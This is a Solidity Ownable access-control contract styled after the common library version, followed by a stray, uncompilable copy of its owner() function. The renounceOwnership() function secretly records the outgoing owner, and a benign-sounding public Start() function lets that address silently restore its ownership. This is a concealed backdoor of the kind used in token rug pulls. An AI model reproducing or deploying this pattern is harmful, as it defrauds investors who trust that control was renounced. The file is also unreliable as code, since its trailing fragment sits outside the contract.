abstract contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function Start() public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _previousOwner = _owner;
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    


}
// Ownable
function owner() public view returns (address) {
    return _owner;
}

/**
 * @dev Returns the address of the current owner.
 */